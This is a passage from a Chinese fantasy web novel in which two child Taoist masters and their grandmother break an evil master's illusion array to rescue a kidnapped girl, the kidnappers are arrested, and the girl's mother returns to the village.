温大娘走过来,“你俩赶紧起卦,算一算瑶兰现在在哪儿?” 张来娣拧着手纠结,她听孙女说了,俩娃娃也是天师,而且比温嫂子还厉害,她心里其实半信半疑。 是天师有可能,但比温嫂子厉害? 温嫂子活这么大岁数难道是白活的吗?能叫俩加起来不到十岁的娃娃给比下去? 温苒和霍骁北没耽搁,一连起了几次卦。 有关一件事不能短时间算太多次卦,不然会越来越不准,这时候就要考验卦师的思维能力。 温苒: “瑶兰姐姐的下落?” “瑶兰姐姐平安吗?” “我给瑶兰姐姐的符牌还在身上吗?” “瑶兰姐姐能在开学时报名入学吗?” 另一边,朱家的晚饭还是两掺面的疙瘩汤。 端到堂屋桌上,朱老娘让儿子去喊大师,她自个去小屋里瞅了眼带回来的俩孩子。 不是别人。 正是张瑶兰和张耀祖姐弟。 姐姐还在昏迷,弟弟动了动眼睛,醒了。 朱老娘认得姐姐,不认得弟弟。 她抓张瑶兰回来是为了引蛇出洞,谁叫那赔钱货成天窝家里不动弹? 她这个亲奶奶想见一面都见不成,那天好不容易出来一次,结果是跟着大人出来的? 大师催得紧,朱老娘急得团团转,终于急中生智,想到了一石二鸟的好计策。 姓温的老婆子是有道行,她对付不了,但大师也有道行,可以把老婆子交给大师对付啊! 回来跟大师一讲,大师果然同意了! 于是今 天早上,朱老娘去酸枣村蹲点儿,等张瑶兰出门,到了无人的地,她和儿子上去就把这姑娘迷晕。 哪想到还是被人看到了! 所幸看到的只是个小孩儿,干脆一块带回来,让大师瞅瞅他的命,要是好命格就换给她孙子。 想着这孩子的命马上就是孙子的命了,朱老娘高兴的脸皱成了朵花,越看孩子越顺眼,“醒了,出来吃饭吧。” 张耀祖一脸懵逼,他怎么会在这里? 早上昏迷前的经历浮现在脑海中,他不敢置信,难道他被拐卖了? 张耀祖吞了吞口水,眼中闪过恐惧。 但转而他又安慰自己,他是个男娃,人贩子最喜欢男娃,应当不会对他做什么。 没看到这老婆子对他笑得这么开心? 张耀祖装作乖巧地点了点头,“谢谢奶奶,我马上去。” 朱老娘脸上的笑容更深了,瞧瞧这孩子多乖巧?以后她的孙子也会这么乖巧! 张耀祖跟着朱老娘来到堂屋。 堂屋饭桌上,一盆疙瘩汤一枝独秀。 大师端坐在了主位,面前放着一碗满满当当但没动过的疙瘩汤。 大师左手边,朱胜伟跟个饿死鬼投胎似的,低头呼噜着疙瘩汤。 朱老娘看到这一幕,火气蹭蹭往上冒,大师都没动筷呢死孩子你眼色都喂狗了啊? 朱老娘赶忙陪着笑上前,“大师,是不是不合您胃口,那我再——” 大师抬手打断她,不耐烦道:“不用了,修行之人不食五谷,把我这碗给他吧。” 朱老娘念叨着大师心善,把那碗疙瘩汤给了张耀祖。 张耀祖上桌,看着棒子面的疙瘩汤,狠狠地沉默了。 第85章 第85章零零年代乡村小神婆10…… 比我家还穷…… 谁家能比我家还穷? 谁家给大师吃棒子面的疙瘩汤? 张耀祖从来没这么无语过。 不是说拐卖人口挺能赚钱的,咋这家这么寒碜呢? 然而张耀祖再嫌弃也得吃,昏迷了一整天他肚子都是瘪的。 还因为他平常的伙食都是棒子面和地瓜,胃里一点油水都没有,所以饿是真饿。 张耀祖呼噜起疙瘩汤来,对面拉了几天刚能吃东西的朱胜伟一看急了,顿时加快了速度呼噜。 两人跟饿死鬼投胎似的,一个赛一个能吃,满满当当一盆的疙瘩汤都让他们分着吃干净了。 朱老娘:“……” 换了命以后,该不会她孙子也这么能吃吧? 就在这时,一直端坐着闭目不语的黑衣天师忽然睁开了眼睛,“来了!” 屋外,皓月当空,森冷的月光洒下片片银霜。 朱家坐落的街道上,温大娘和张来娣猛地停下自行车。 张来娣四下乱瞥,手心冒汗,“嫂子,这咋、咋变样了?” 老姐妹两个一人载一个孩子,从酸枣村飞驰而来,刚拐进这条街,环境就从傍晚变成了夜晚。 明明太阳才落下一半不到? 明明附近还有几户人家的烟囱冒着烟? 明明拐进来之前,还看到有一户人家的门口聚着堆人,街上也有孩子追逐打闹! 但是现在彻底变了。 月亮升到了头顶,月光明亮却惨淡。 街上一缕风也无,一丝声响也没有,整个村子似乎都被这股诡异的气氛笼罩着。 “不要怕!” 一道小奶音出现,打散了张来娣心底越攒越多的惊慌。 温苒从座椅里被姥姥抱出来,放在地上。 早就跳下车子的霍骁北走到她身边,“是幻阵。” 温苒绷着小脸点了点脑袋,“先四处走走。” 阵法是两人刚涉猎的一门玄通,还做不到一眼识破阵法玄机。 幸好这是个幻阵,她们两个合作布过好几次幻阵,最了解的就是这个种类的阵法。 两个小娃娃走在前面,小脑袋左右转来转去,不时停下来碰头嘀咕几句,瞧着像是在交流情况。 张来娣推着自行车凑到温大娘身边,“嫂子,我听瑶兰说,这俩娃娃比嫂子的道行还高?” 温大娘微笑着点了点头,一脸骄傲道:“瑶兰说得没错,天师一道最看重天赋,我天赋属实一般,但我这俩徒弟可不一般!” 张来娣心里忽地就有了底,温嫂子的道行就很高了,俩娃娃还更厉害,常言道三个臭屁赛过诸葛亮,三个人加起来指定没问题! 前方两人又停了下来。 这条街仿佛没有尽头一样,走了这么久都不见出口。 温苒板着小脸,说出自己的判断:“这个阵法等级不低。” 霍骁北赞同地‘嗯’了声,补充他的发现:“不止是个幻阵,我察觉到体内灵力的流失速度变快了。” 阵法需要灵气维持,但幻阵内是没有灵气的。 霍骁北的功法来自系统技能,其特殊在修炼以后功法每时每刻都在运转,相应的灵力没有一刻不是在增长。 修炼了这种顶级功法,就是个蠢材懒蛋也能小有成就,唯一的缺点就是资质要求太高,非顶级天赋不可修炼。 功法缘由,霍骁北对灵气的流通十分敏锐。 温苒细细感受了一番,猜测道:“他是想消耗我们的实力?” 那恐怕不能如他的愿了,她们这次虽然来得匆忙,但该做的准备都做了。 一个是把家底都带上了,其中杀伤性极强的符箓大概有五六十张。 再一个是给城里公安局打了个电话,过去这么长时间,师叔应该从市里回来了。 就算五十多张符箓破不了阵法,也有外援相助。 不急,温苒打算好好逛一逛这个幻阵,她还没破过别人的阵法呢? 往回走到朱家大门前,进院子里摸一摸看一看,累了就坐在板凳上休息。 霍骁北从储物符箓里取出吃的喝的,四个人围着解决了晚饭。 张来娣心情复杂,都这样了瞧着是一点不慌,大师都不慌她也不怎么慌,但她担心小孙女的安危,万一耽搁了可咋办? 温苒吃饱了有点困,靠在霍骁北身上,眼皮沉沉的直往下坠。 霍骁北取出毛毯给她裹上。 温苒迷瞪着眼睛小声嘟囔,“这个阵法等级很高,布阵用的法器肯定有品级,可以用在我们的阵法上。” 她们阵法的聚灵作用还是太弱。 霍骁北回道:“那就不能强行破阵了。” 强行破阵势必会损伤法器,她们俩手头什么都没有,更不会炼器,法器损坏也就没用了。 温苒哼唧一声,揉着眼睛坐起来,神情蔫蔫的,“要是找到阵眼就好了。” 法器肯定就在阵眼附近…… 附近?! 温苒缓缓睁圆了眼睛,看着角落里安静却不失张扬的绿色阵旗,整个人陷入呆滞。 不会这么巧吧? 温苒哒哒哒跑过去,取出一枚符箓裹上小手,握上阵旗轻轻一拔。 眼前的景象开始扭曲、退散…… “噗——” 朱家的客厅里,闭目打坐的黑衣大师猛地睁开眼,表情痛苦,目眦欲裂,口中喷出一股鲜血,直直地倒了下去。 呜喂喽呜喂喽—— 警笛声高调地闯入,打破了朱家村的安宁。 听到动静,村里人饭也不吃了,扎堆儿追在警车后头看热闹。 车还没停稳,齐冰寒就开门跳下来,冲到他师姐师侄们跟前,扶着膝盖大喘气,“没事吧?” 看他气都喘不匀了,温大娘把板凳让出来,“没事没事,你快坐下歇歇。” 老钱和小张下车跑过来,“大师,情况怎么样?杀害班主的天师在哪儿?” 温大娘把俩孩子推到齐冰寒跟前,跟老钱说道:“我们也是刚从幻阵里出来,还没进去。” 老钱掏出枪来,“麻烦大师跟咱们进去一趟,防着点特别的手段,我们负责抓捕!” 温大娘点头,“没问题。” 老钱转身大步往门口去,同时指挥徒弟:“小张,掩护大师!” 夜色漆黑,天上只有一弯月牙,附近人家很配合地亮起门口的灯。 温苒拿旗子戳了戳齐冰寒,“师叔,我们也去吧?” 齐冰寒 被她手上的阵旗吸引,“哪来的?” 温苒怕他抢,连忙背到身后,怕还不安全躲到张来娣后头,“我自己找到的!” 齐冰寒咂咂嘴,回想起了师姐的话,“是那个天师的吧。” 温苒鼓起脸颊,理直气壮:“我拿到的就是我的!” 齐冰寒:“……” 齐冰寒:“我不抢,你别跑那么远,这边人多,小心不注意被抱走了。” 温苒嘴上说着:“坏蛋!吓小孩儿!” 身体却很诚实,挨到霍骁北身边,拽着他往朱家的院里走。 这时刚好温大娘和老钱小张压着人出来。 两个警察负责三个人,挣扎着不愿被抓的朱老娘、帽子扣到鼻子高使劲低头怕被人看到的朱胜伟、昏迷的黑衣天师。 温大娘牵着刚刚醒来的张瑶兰。 后头远远跟着个张耀祖。 张来娣扑上去就把孙女抱住,“奶的瑶兰啊!没事吧?她们没打你吧?” 祖孙两人紧紧相拥,场面让人热泪盈眶。 但如果加上张耀祖,就不那么美妙了,他看到这感人的一幕只有气愤,冲上来就撞向祖孙二人。 温苒下意识捂住眼睛。 只听砰—— 一声沉闷的重响后,张耀祖踩到玻璃珠,方向一转,撞在了黑衣天师身上。 黑衣天师闷哼一声,从昏迷中醒来,霎时耳朵里涌入嘈杂混乱的话语声。 从这些话语中他得知了当前的情况:他被警察抓住了。 黑衣天师冷笑,区区警察就想抓住他? 他可是堂堂天师! 黑衣天师暗中凝聚灵力,结果…… 一次,不行。 两次,没用。 三次,噗—— 一口血喷出来,小张慌慌张张把他撂下,“大师,大师他吐血了咋办?” 齐冰寒走过来瞥了眼,不以为意:“吐就吐吧,估计是刚才蓄力发动法术想逃跑,他想屁吃呢?有我师门的禁灵手镯在,他就是个废人。” “犯了这么大罪还想跑?一辈子也别想?压到天师协会就给他真废了,再交给你们枪毙喽!” 假装昏迷的黑衣天师听得心肝胆俱颤,这里为什么会有天师协会的人? 天要亡他啊! 老天待他怎能如此不公? 黑衣天师脑海中飞速运转,为今之计,恐怕只有夺舍一条办法了。 眼睛睁开一条缝隙,他悄悄寻找合适的夺舍对象。 如今他身受重伤,魂魄虚弱,新的躯壳最好是魂魄不够强大的孩子,最好天赋出众。 黑衣天师的目光落在霍骁北身上,心跳飞快,就是他! 天不亡我啊! 如此想着,黑衣天师狠心自绝,脑袋一歪就没气了。 小张惊慌失措地呼喊齐冰寒。 黑夜下,黑衣天师的魂魄从身体里钻出来,回头看了一眼,就头也不回地奔向霍骁北,奔向新生! 结果,靠近的瞬间,砰—— 金光闪过,黑衣天师的魂魄被弹飞,原路折返撞进一个身体。 霍骁北摸向兜里,刚才这里一瞬间异常滚烫。 兜里没有符咒,他只摸到了一撮符灰。 霍骁北看着灰扑扑的掌心片刻,目光一转,若有所思地落在黑衣天师身上。 齐冰寒抄着手,愁眉苦脸地过来,“唉,还天师呢,叫个孩子一撞撞没了?我这下咋跟协会的人交代啊?” “没了?是死了吗?” 温苒扭过脑袋,握着战利品阵旗哒哒哒跑过来,小嘴巴震惊地张大,指着天师旁边昏迷的小身影。 “不会是被扫把星撞没的吧?” 第86章 第86章零零年代乡村小神婆11…… 温苒只是随口一说,没想到就说到点子上了。 黑衣天师还真是被张耀祖撞的! 温苒:“……” 她抱着阵旗连连后退,表情惊恐,扫把星竟然恐怖如斯?! 齐冰寒拿了样东西就回去邪道尸体旁。 一边被手铐拷在车门上的朱老娘,听到‘扫把星’关键词,忽然崩溃大喊:“都是这个扫把星害的!” 她不可置信无法接受一般,摇着头喃喃自语。 温苒迈步靠近想听清点,被霍骁北拽住,往她身上贴了枚‘顺风耳’作用的符箓,“那边危险。” 好吧。 温苒跟他回去,乖乖坐到板凳上,竖起耳朵听朱老娘的嘀咕。 “扫把星……他竟然是扫把星?早知道他是扫把星我说什么也不带回来……亏我还想把他的命换给我孙子原来他是扫把星……” 啊这? 温苒无法理解,难道朱老娘竟然不是要换张瑶兰的命吗? 朱老娘继续喃喃:“是我害了大师,要是我不叫扫把星上桌吃饭,大师也不会把自己的疙瘩汤给扫把星,都是我害了大师……” “大师没了,我孙子的命可怎么办啊?” 温苒小嘴巴张大,什么?这邪道是被一碗疙瘩汤害死的?! 齐冰寒唉声叹气,眉头紧锁,脚步沉重地回来坐下,“坏事了。” 温苒顾不上听朱老娘忏悔,忙凑过来,“又怎么了?” 一起检查邪道尸体的温大娘揉了把她的毛脑袋,叹着气发愁道:“没发现邪道的魂魄,他要么溜了,要么夺舍了在场的某人。” 前者就交代不过去,后者就更可怕了。 夺舍? 霍骁北立时联想到兜里化成灰的符箓,他道:“如果夺舍,他选的对象不是成年人。” 齐冰寒目光一转,眼神犀利地审视着他,“何出此言?” 霍骁北把刚才的经历说出来,温苒担心地扑过去,“你没事吧?” 霍骁北摇头,让她看兜里的符灰。 温大娘却不大放心,让齐冰寒给检查一遍。 恰好齐冰寒也有所怀疑,检查完没有发现异常,但还是说道:“待会儿跟我回店里,我用法器再检查一遍。” 俩小孩儿都没有意见,无论齐冰寒出于什么目的,检查清楚对霍骁北来说都没有坏处。 温大娘转身翻了翻包,拿出新的符箓塞进霍骁北兜里,还给温苒也补了几张。 “师弟你今晚别回城了,去我家住一宿,明天咱们一起去县城。” 齐冰寒想了想,“也行。” 齐冰寒不跟车回县城,老钱就打算先不带邪道的尸体。 老钱安排小张留下,和齐冰寒在温家住一宿,第二天开车回县城。 老钱自己则借了朱家村的拖拉机,和几个青壮一起,押送朱家母子回了县城公安局。 小张开车,温大娘带三个孩子坐上去,齐冰寒和张来娣骑自行车,张来娣带着昏迷的张耀祖,离开朱家村回了酸枣村。 到温家院门口时,后座三个孩子只有霍骁北还醒着。 温大娘一手一个抱起两个女娃娃,小声同张来娣说话:“老姐姐,天也晚了,你和瑶兰就在咱家住一宿吧?” 张来娣看了眼后座的张耀祖,“不了,这还一个呢,我刚才摸他好像发烧了,我得带他去卫生所看看。” 温大娘诧异,“吹了会儿风就发烧了?” 张耀祖虽然是个扫把星,但就跟打不死的小强一样,小病小伤的没断过,大病真没见过几次。 张来娣也觉得奇怪,上次她这孙子发烧还是掉茅坑那回,乍冷乍热的在水缸里泡了大半天。 之前她还从温嫂子这里得知,她孙子会掉茅坑是受了诅咒的反噬。 要没有反噬,还真不一定会发烧。 齐冰寒听着不大对劲,上前打量张耀祖,莫非邪道夺舍了这个扫把星? 哟,齐冰寒眼神变得戏谑,那这邪道可惨喽! 张来娣急匆匆离开,带着张耀祖去了卫生所。 怎么说也是她孙子,不能真看着出事了。 一夜过去,晌午前温苒才从被窝里被挖出来。 温大娘给她穿衣服,齐冰寒靠在门框上催促,“赶紧的,吃了饭咱们就回城,我半天不开张耽误多少生意?” 温苒鼓着脸颊,哪里有生意?你那是符纸店,又不是香烛店! 符纸店的顾客都是天师,或是有钱 的普通人,所以店里一个月才两三个单子。 吃饭的时候,齐冰寒硬是挤到温苒和霍骁北中间,“帮我那个店布个阵,以后有好东西了我先给你们留着,还给你们赊账,别人我都不给赊的。” 温苒背过身去,回答得干脆利落:“不要!” 齐冰寒:“……” 狠心的娃娃! 齐冰寒扭头去找霍骁北,却见霍骁北端着饭碗拎着板凳就去了温苒对面。 齐冰寒:“……” 两个狠心的娃娃! 齐冰寒没办法,去求师姐,“师姐!你是我最好的师姐!” 最好的师姐拒绝当强迫孩子的封建家长,“我不会布阵,你又不是不知道?” 齐冰寒看看这个,又看看那个,咬咬牙,狠心道:“我出钱!我出法器!给我布个最好的阵!” 温苒嗖地把小脑袋转过去,“多少钱?” 齐冰寒心里呵呵,面上却很和善,“就照你们门口的这个阵法给我来一个,我出五百!” 霍骁北瞥他一眼,“师叔,为什么不找你市里的朋友帮你布阵?” 齐冰寒噎了噎,小孩儿这么聪明做什么? 温大娘翻白眼,“那是因为他出不起,五百块能布个什么阵?五百块连人家阵法师的车马费都不够!” 温苒木木地盯着齐冰寒,这个师叔还真会骗小孩儿的?! 齐冰寒被看得心里发虚,硬着头皮说道:“我先出五百块定金,布完了再付尾款。” 温大娘语气凉凉,“尾款有五千吗?” 齐冰寒惊得话都说不出来,比着个手掌无处安放,“五、五千我都、都能买个法器了!” 温大娘听见这话,想了想退一步,点头道:“那就两千。” 齐冰寒:“……” 齐冰寒能说什么? 两千块其实都是他占便宜了,阵法这么难,随着灵气日渐稀薄和天师传承凋零,协会里的阵法师数量从几十年就开始断层下降。 旁听的小张这时插了一嘴,“大娘,两位小天师,我们派出所和刑警队打算出五千块钱。” 齐冰寒的眼神唰一下飞过去,化成利箭射在小张身上,没有这么恶意抬价的啊?! 温苒捂着小嘴偷笑,“师叔,那给你的阵法就不能是最好的了。” 霍骁北忍着笑意,“张警官,我们可以为公安局的阵法提供后续维护。” 小张顿时笑开了花。 齐冰寒直接气得自闭了。 午饭后,一刻也没耽搁,把邪道的尸体搬上后备箱,几人赶去了县城公安局。 所长出来迎接,“你们来得正好,昨晚我们连夜审理朱家母子,得知邪道身边还有一个男鬼帮他做事。” 一个男鬼加上之前害死班主和小生的女鬼,一定要尽快抓获,绝不能放任他们在外继续害人! 邪道死了,他做的遮掩自然也无用了,很快霍骁北就卜出两只鬼的下落。 到了夜里,齐冰寒在路旁施法招魂,鬼影一出现,霍骁北就发动禁锢法术,将鬼魂收进符箓中。 所长带一众警察围观,看得是目瞪口呆。 小张指着半空依稀可见的一群鬼影,结结巴巴:“不、不是说只有两只吗?” 老钱抹了把脸,“想也不能只是两只,拐卖名单上没了的孩子和年轻女生们,许是都给邪道炼成恶鬼了。” 齐冰寒没想到还有这一遭,脸色阴沉得能滴下水来。 费了番时间,才把所有鬼魂收进符箓。 齐冰寒接过符箓,“布阵的事晚点吧,我得回天师协会一趟,再把这些鬼魂送去寺庙超度。” 少不得还得跟地府阴神打一番交道,毕竟许多生人枉死,魂魄一丢又这么长时间,作孽的还是他们天师协会曾经的天师,简直是耻辱! 温苒仰头望他,“有报酬的话不要忘了分给我们。” 齐冰寒:“……” 齐冰寒无语地看他师姐,“你是发不了财,你家这娃娃我看能发!” 温大娘还没说话,温苒眉眼弯弯地歪了歪头,自豪道:“借师叔吉言!” 齐冰寒摇头失笑,用力揉了她的头发,“你符箓画了多少,我这次回协会帮你都卖出去,价格比之前还高,但是报酬再给我提五块,一枚二十块。” 温苒的大眼睛缓缓亮起来,“师叔你真好!” 齐冰寒:“……” 有事就是师叔真好,无事就是抠门精是吧? 齐冰寒借派出所的电话联系市里的朋友,第二天就离开了山陵县,走之前背上了一百大几十张的符箓。 后头的大几十,是温苒和霍骁北熬夜赶出来的。 邪道的案子告一段落,接下来每天温苒三人都要进城给公安局布阵。 花了大半个月,公安局的多功能阵法终于完工启动。 办公室主体功能有聚灵和清神,熬夜办案的不二选择。 审讯室则带有幻阵功能,能降低犯人的心理防线。 以及法医室、档案室等科室,都各有特点。 五千块就得到这样一个多功能包维修的阵法,所长的牙花子都笑出来了。 所长也是有门路的,要在市里一个这样的阵法起码得万把块了,也就小县城物价低才能五千块钱拿下! 酸枣村一如往常宁静。 温大娘每日带俩孩子出去遛弯,有时是街口的空地基上,有时在村口的大石碾旁,也有时去磨房。 小芳是磨房常驻选手,“婶子,你听没听说,张家的那个扫把星最近更倒霉了?” 第87章 第87章零零年代乡村小神婆12…… 说曹操曹操到。 张耀祖出现在磨房前的街上,低垂着脑袋心不在焉地走路。 一群人磕也不唠了,屏着呼吸目光灼灼地盯着他。 没走几步,众人就见张耀祖踩到一块石头,整个人往前一扑,噗通摔个大马趴。 须臾没见扫把星动弹,众人都以为给摔晕过去了,这时张耀祖抬起头来,鼻孔下缓缓流淌出两根红线。 噗—— 张耀祖鼓嘴一吐,红白一团混杂喷出来。 红的是血,白的是牙。 众人:“……” 她们看着就牙疼,一个个脸上皱巴起来。 然而张耀祖只是抬手拭去脸上的污秽,面不改色地爬起来,继续心不在焉往前走。 结果没走两步碰到个小坡,张耀祖又踩到东西,脚一歪,整个人跟皮球似的滚下坡。 一干人等都惊呆了,还是温大娘先反应过来,“快去瞅瞅,别给摔没了!” 一群人乌泱乌泱地跑过去,就见坡底下,张耀祖胡乱抹了把脸爬起来,又朝地上吐了两颗牙,除此之外脸上没伤腿脚利索。 众人情绪复杂,说倒霉吧是挺倒霉,可摔两回了也没见多大事,好像也没那么倒霉……吧? 温大娘回家把这事一说,温苒捂着小嘴惊叹,“厉害啊!” 温大娘没忍住笑了,“看来你师叔猜的是对的,那个邪道夺舍的对象就是扫把星!” 扫把星是那么好夺舍的吗? 张耀祖保准是上了地府名单的重点惩罚罪犯,他本身就罪孽深重,再来一个恶贯满盈的邪道,二者叠加,也就难怪会倒霉成现在这样。 温苒捧着婴儿肥脸蛋,发出感叹声:“这就是恶有恶报啊!” 邪道夺舍了这样一个身体,八 成悔得想死的心都有了,然而他还不能抛弃重找。 他夺舍前魂魄刚被重伤,就是有心也无力。 再加上张耀祖是天生的绝灵体质,邪道也就无法借其身体修炼,无法修炼也无法修补受损的魂魄,自然也无法恢复实力找下一个夺舍对象。 也就是说,邪道和张耀祖的身体彻底绑死了。 而张耀祖体内属于他自己的魂魄呢? 可喜可贺的是,安然无恙! 并且大概率一直安然无恙! 除非邪道想不开,就想吃苦就想遭罪。 不然看看现在张耀祖更倒霉的样子,一般人真挨不住这种走两步就摔一跤的日子。 张瑶兰被拐一事所幸有惊无险,但张来娣最初一阵还是不放心,走到哪儿就把张瑶兰带到哪里。 周一到周五张来娣去学校教书,张瑶兰一并也要去学校,只有周末两天才和张来娣一起来温家找温苒玩。 如今已经是农历二月底,马上三月三,温大娘日日都要去村口望一眼,还必定要牵着温苒也去。 霍骁北见状,干脆给卜了一卦。 得到确定日子,温大娘更来劲了,当天一早就把俩娃娃叫起来,叫先去村口石碾等着。 她自个在家飞快备了一桌好菜,把炕烧热,给浴室上水加热,灌了一保温杯的姜糖水,也颠颠儿跑去了村口。 刚坐下,温大娘就一脸懊恼,“唉我这脑子,年纪大了真是不中用,我该带你们去车站接人的!” 温苒鼓着腮,扭着小身体不高兴地喊:“不老!不老!姥姥才不老!” 小芳笑着附合,“确实,婶子比我娘还小两岁呢,我娘说我姥就是这个年纪才生的她。” 温大娘臊得摆手,“嗐!我都当姥姥了咋还不老?” 上午村口人来人往的,却一直不见温苒妈妈温怡的影子。 下午过完,太阳都落山了,大路上除了麻雀一个人影也无,温怡还是没出现。 温大娘给俩娃娃裹紧毛毯围巾,让她们去石碾另一侧坐着,那里没风。 她自己坐在石碾前头,就在道路旁边,抻着脑袋视线朝路口张望,“再等等,再等十分钟,要是你妈妈还不回来,我就带你们回家等。” 温怡生下温苒后,刚出月子就去了南方打工,恰巧遇到流感爆发,至今三年多都没回来过。 温大娘是真挺想闺女的,也心疼小孙女,长这么大只见过妈妈的照片,见了真人恐怕都认不出来。 这么想着,村口大路上出现了一辆三轮车。 远远的齐冰寒的声音就传过来,随着车子靠近,他也出现在温苒三人跟前,咧着嘴把脑袋瞥向后车斗,“师姐快看,谁回来了?” “一一,是一一吧?” 温大娘老远就认出来了女儿的身影,纵然天黑看不清面容,她也不会认错的。 温怡跳下车斗过来,“妈!” 她把身上的羽绒服脱下来盖温大娘身上,“妈怎么这么晚了还在外头,快上车,咱们先回家!” 温大娘忙点头,“哎!” 她扶着女儿伸过来的胳膊,摸索着握上女儿的手,热乎的,还行。 走了两步,温大娘从激动中醒过神来,回头去找俩孩子。 这时石碾后头,霍骁北默不作声拧开手电筒,系统出品都是精品,一下子照亮这片地方。 光亮中,被石碾挡住的两个小身影也无所遁形。 齐冰寒给侄女指着介绍,“一一,你女儿,也是我小师侄了。” “那个,你隔壁家小霍的儿子,也是我师侄。” 温怡的眼珠子一错不错地盯着那个小身影,大脑一片空白。 她女儿? 那个糯米团子? 从前小小一个团子,现在……也不算大,还是个小团子。 温苒小手抓着霍骁北的衣角,浑身上下只露出一双大眼睛,站在那里静静打量着妈妈。 温怡的嗓子像被什么堵住什么一样,张了张嘴,几次都没能发出声音。 她想说‘过来让妈妈看看’,又想问‘想妈妈了没有’? 可都说不出口。 因为孩子刚生下来她就离开了,小团子甚至都没见过她。 温怡更想冲过去,把小团子抱起来使劲亲几口。 但脚就跟坠了铅球一样,好似一步也难动弹。 温大娘看不过眼,使劲推了闺女一把,“快去看看小苒苒,一大早就在这里等,迎着冷风等到现在!” 温怡趔趄两步稳住身体,小心翼翼蹲在矮墩墩面前,艰难地启声,试探询问:“我、我是妈妈,要、要不要妈妈抱?” 小团子歪了歪脑袋,像是在思考。 温怡紧张地屏住呼吸,手心不停往外冒汗。 好似火车每次通过漆黑隧道,总会盼望着出口的那缕阳光一样。 须臾,温怡煎熬无所安放的心情被一股奶香重重撞了下。 她眼圈一热,低头看向怀里带着奶香的小团子,一把抱得紧紧的抱起来,隔着围巾狠狠亲了几口。 “跟妈妈回家,妈妈给你买了好多好吃的好玩的。” 温怡抽空也看了眼霍骁北,“也有骁北的!” 上了三轮车,齐冰寒说一声‘坐好了’,骑着三轮车飞快来到温家小院。 都下来,齐冰寒哈着气搓手取暖,“师姐,我送侄女回来用了三张符箓,这钱你可不能要我的!” 温大娘心情好,忙着往下卸三轮车上的东西,懒得跟他掰扯几块钱,摆着手相当大方,“不要你钱,快进屋暖暖!” 母女间熟络起来相当快,饭桌上就开始互相夹菜,温苒的小奶音一口一个‘妈妈尝这个’‘妈妈这个好吃’‘妈妈我想吃那个’。 这天晚上温苒都没和霍骁北住西屋,而是挤在姥姥和妈妈中间睡了一宿。 次日温苒照常是后上晌才醒,妈妈给穿新衣服,妈妈给编好看的辫子,妈妈喂饭吃,然后妈妈还说明天要带她进城! 温大娘见状,干脆叫齐冰寒别着急回县城,“再待一天,明天我们坐你的三轮儿进城。” 大冷天坐三轮那叫一个遭罪,可谁叫他们有符箓,又快又保暖又不颠簸,比公交车还舒服。 吃饱了,老老小小分两拨挤到炕头上,开着电视唠起了闲话。 温苒和霍骁北坐在中间,隔着炕桌互相交流。 温怡瞧俩孩子玩得开心,问温大娘:“妈,霍大哥又出车了?” 温大娘下意识点头,点到一半又想起来个事,够着身子去看霍骁北,“骁北,你爸上次来电话有说什么时候回来吗?” 霍骁北抬起脑袋,“他又接了一趟车,说清明前回来上坟烧纸。” 温大娘满脸不赞同,“你爸也真是,一出车就好几个月,挣钱也不是这样挣的,不要命了?” 齐冰寒给说了几句,“咱农村老百姓不容易,不趁年轻多跑跑,老了就只能回来种地。” 温怡把昏昏欲睡的温苒扶着躺下,给她枕上小枕头,盖上小被子,捏了捏软乎乎的婴儿肥,露出欣慰的笑容。 她一抬头,就看到不错眼盯着女儿的霍骁北,清清嗓子说道:“大国哥一直在外跑车确实不是个事,年轻的时候有精力还好,年纪大了就不合适了。” 温大娘戳闺女,“那你说说咋办?” 温怡沉吟片刻,说道:“大国哥不是会修车么?可以在县城买间铺面,开个修车店。就算不开店,把铺面租出去也是个稳定的进项。” 温怡说着自己在羊城这些年的见闻,“羊城是第一批对外开放的城市,发展很快。那边有很多拆迁户,拆迁给分钱和房子,有些人家一分就是一栋楼,人再多也住不完,就租给过去打工的百姓,每个月的进项少则个把万的。” 温大娘和齐冰寒师姐弟齐齐震惊,“嚯!那光收租就一辈子吃穿不愁了!” 温怡点头,“我这次出门攒了点钱,想在县城寻摸着买几处房子和铺面,以后的租金就给我妈。我在外头经常顾不上家里,有个固定的进项好歹不用为了钱犯难。” 温大娘摆手不要, “你别给我,你给小苒苒,给她存着。” 温怡抿了抿嘴角,低头看着身边的沉睡的女儿,“妈,这次出去,我想带小苒苒一起。” 第88章 第88章零零年代乡村小神婆13…… 温大娘想也不想就说:“不行!” 温怡惊讶地扭头看着她,“妈!” 温大娘拉拉着脸,“你在外头都没个定数的,小苒苒才这么点大,吃喝拉撒都要人看着,你顾不过来。” 温怡回答得很快,“我可以请人,请保姆照顾。” 她显然早有盘算。 温大娘依旧想也不想地拒绝,她拔高声音:“那也不行!” “那小苒苒在村里有小伙伴陪着,到了外头人生地不熟的,你这个亲妈又不陪着,她孤零零一个咋办” 温怡默了默,心情沉重。 她能理解她娘为什么不愿意,她在外孤身一人思念女儿,她娘在家也是孤身一人。 这几年好不容易有小苒苒陪在身边,她娘脸上多了笑,精神头不一样了,整个人都年轻了好几岁。 温怡嘴里泛苦,要是可能她也想留在家里,但她偏偏就不能。 她刚出月子就离家打工是为什么? 还不是因为她们母子待在一起的时间太长,导致她娘明明身体好端端的,却今天闪个腰明天崴个脚,有次烧热水还炸了锅。 “妈,我是小苒苒的妈,趁她年纪小我当然要把她带在身边!” 温怡说着低下头,眼眶里涌上热意,嗓音哽咽起来:“您也不是没看见,昨天我回来,小苒苒都不认识我。” 温大娘听见这话心里也难受,她能不晓得么? 她心疼闺女,可她又打心眼里不愿意让小苒苒离开自己。 难受的情绪翻涌,温大娘别过头去,梗着脖子,始终说不出同意的话来。 霍骁北的目光落在睡得香甜的小姑娘身上,里面满满都是同情。 选姥姥还是选妈妈,够这小脑瓜愁一阵子了。 齐冰寒眼瞅着气氛不大对,连忙转移话题:“哎一一,你那个前夫,朱家村的那个臭小子,他又离婚了你知道吗?” 温怡胡乱抹了两把眼睛,“啊?咋又离婚了?我电话里听我娘说,他不是刚生了个儿子吗?” 温大娘开了金口,但没把头转回去,“哼!活该!他跟他娘都是烂了心肝子的!用邪术让媳妇儿怀胎生子,其实是个死胎,里头住了鬼婴。” 温怡头一回听说这样的事,“真、真的?生了个鬼胎?那他媳妇儿还好吗?” 温大娘终于肯和女儿对视了,“没啥大事,就是身体让那母子磋磨得不成样子,养养就能缓过来。” 朱家母子用邪术害人,这样的罪名自然无法拿到明面上来,不过两人窝藏人贩子首脑,还对张耀祖姐弟实施绑架的行为,足以让他们接受法律的审判。 说起这个,温大娘转而想到自己姑娘身上的事,忙担心地追问:“你在羊城那边,有没有遇到过古怪的事情?” 